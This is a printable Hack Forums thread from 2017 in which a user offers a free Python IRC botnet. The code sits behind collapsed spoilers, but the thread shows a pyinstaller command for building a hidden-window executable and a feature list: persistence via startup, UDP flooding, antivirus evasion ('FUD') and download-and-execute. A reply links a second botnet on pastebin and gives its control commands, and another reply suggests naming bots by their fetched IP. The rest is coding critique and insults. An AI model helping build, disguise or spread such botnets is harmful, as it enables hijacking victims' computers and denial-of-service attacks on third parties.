Hack Forums
[Python] IRC Botnet [Python 3.5] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Python] IRC Botnet [Python 3.5] (/showthread.php?tid=5549764)

Pages: Pages 1 2 3 4


IRC Botnet [Python 3.5] - 05317832892 - Feb 12, 2017


I've been off school with half term + weekend recently so I write a nice and simple IRC botnet. Commented this one out so it's easier to follow.

Compile with pyinstaller:
Code
pyinstaller -F -w -i icon.ico bot.py
Flags explained:
-F Compiles to a single standalone .exe, no .dlls and config shit
-w Runs in a hidden window
-i specifies a path for an icon
bot.py name/location of your python script

Features:
-Copies itself to startup
-UDP Flood
-FUD
-Only accepts commands from the bot owner
-High compatability
-Download and execute
-Ping your bots

As usual with python malware, my favourite type of malware, completely FUD!
Scan:
Spoiler (Click to View)

Code:
Spoiler (Click to View)

Screenshots:
Spoiler (Click to View)





* - PotatoChipz - Feb 12, 2017

This code is fucking trash, I guess that's why it's free.


* - SIM-3063187 - Feb 12, 2017

(Feb 12, 2017 01:15 PM)PotatoChipz Wrote:  This code is fucking trash, I guess that's why it's free.

Please man. Be happy he gave this out for free. A little compliment is well earned even when you don't like the code common.

I don't use botnets but I'm very happy that people from HF are contributing to the community!
Good job!!


* - 05317832892 - Feb 12, 2017

(Feb 12, 2017 01:15 PM)PotatoChipz Wrote:  This code is fucking trash, I guess that's why it's free.

Open to suggestions.


(Feb 12, 2017 01:18 PM)sixert Wrote:  Please man. Be happy he gave this out for free. A little compliment is well earned even when you don't like the code common.

I don't use botnets but I'm very happy that people from HF are contributing to the community!
Good job!!

Thanks!


* - PotatoChipz - Feb 13, 2017

(Feb 12, 2017 01:25 PM)★Cam★ Wrote:  Open to suggestions.



Thanks!

Make it OOP
Your variable names are inconsistent Make the variable names more descriptive so rather than saying "irc" call it "ircSocket"
You shouldn't actually need a delay 0.5.
* Rather than calling send directly on the socket create a wrapper around the socket and use that.

However because I'm cool I wrote a better IRC botnet.

You can get it from here: http://pastebin.com/nsDGFJhi - Python 2.7.12

To use it you just run it, and then authenticate yourself.

!authenticate super_secret_password

You can then use !ping or !ip.

Feel free to add on to it.

Note: You will need the "requests" library which can be downloaded by running "pip install requests".


* - Infamia - Feb 13, 2017

(Feb 13, 2017 06:46 AM)PotatoChipz Wrote:  * Make it OOP Your variable names are inconsistent
Make the variable names more descriptive so rather than saying "irc" call it "ircSocket" You shouldn't actually need a delay 0.5.
Rather than calling send directly on the socket create a wrapper around the socket and use that.

However because I'm cool I wrote a better IRC botnet.

You can get it from here: http://pastebin.com/nsDGFJhi - Python 2.7.12

To use it you just run it, and then authenticate yourself.

!authenticate super_secret_password

You can then use !ping or !ip.

Feel free to add on to it.

Note: You will need the "requests" library which can be downloaded by running "pip install requests".

yeah, making it a library would be better tbh, but you can't really make it oop, you can just implement oop into it.

you can usually detect the newbie python coders from the way they format their code and by how they use classes/functions or even lack thereof.

but yes, as he said your code definitely is pretty ugly and needs either a main class to store the functions and have everything done easier code-wise and debug-wise.

just he worded it a bit meaner.

also you write legit the same style as me @PotatoChipz

+1


* - Goodies - Feb 13, 2017

> 3.5
> Using multi-threading

I just shat myself.


* - Infamia - Feb 13, 2017

(Feb 13, 2017 09:39 AM)Goodies Wrote:  > 3.5
> Using multi-threading

I just shat myself.

true, he should use 2.7.6 and threading.

it's better than 3.x's asyncio or whatever that shit was that you constantly asslick


* - 05317832892 - Feb 13, 2017

(Feb 13, 2017 09:39 AM)Goodies Wrote:  > 3.5
> Using multi-threading

I just shat myself.

Lmao it's not that bad, I started on 3.5 and can't really bring myself to downgrade to 2.7


* - Goodies - Feb 13, 2017

(Feb 13, 2017 09:45 AM)Infamia Wrote:  it's better than 3.x's asyncio or whatever that shit was that you constantly asslick

Ha! There is nothing better than asyncio, you mongoloid.


* - Infamia - Feb 13, 2017

(Feb 13, 2017 10:26 AM)Goodies Wrote:  Ha! There is nothing better than asyncio, you mongoloid.

old is gold


* - Goodies - Feb 13, 2017

(Feb 13, 2017 09:47 AM)★Cam★ Wrote:  Lmao it's not that bad, I started on 3.5 and can't really bring myself to downgrade to 2.7

No, don't downgrade... never downgrade. (Click to View)

Learn to use and love asyncio.


* - 05317832892 - Feb 13, 2017

(Feb 13, 2017 10:34 AM)Goodies Wrote:  No, don't downgrade... never downgrade. (Click to View)

Learn to use and love asyncio.

Of course.


* - PotatoChipz - Feb 13, 2017

(Feb 13, 2017 10:34 AM)Goodies Wrote:  No, don't downgrade... never downgrade. (Click to View)

Learn to use and love asyncio.

I can write in Python 3.x, it's just that I prefer Python 2.x.

Old is gold, new is ew.


* - deadsh0t - Feb 17, 2017

hi im new to programming python
and think a script like this is very interesting however i had a few questions, this line:
botnick="BOT_" + str(random.randint(10000000, 99999999))
since this script is ran again at reboot the bot will get a new nickname each reboot right ?
And second it generates a random name for every bot but wouldnt that mean that if a bot somehow got the same name as another bot it would fail to connect?
you could also use this code botnick="BOT_" + urllib.request.urlopen('http://ip.42.pl/raw').read()
This should give the bot BOT_(their ip) as a nickname
However im not home to test it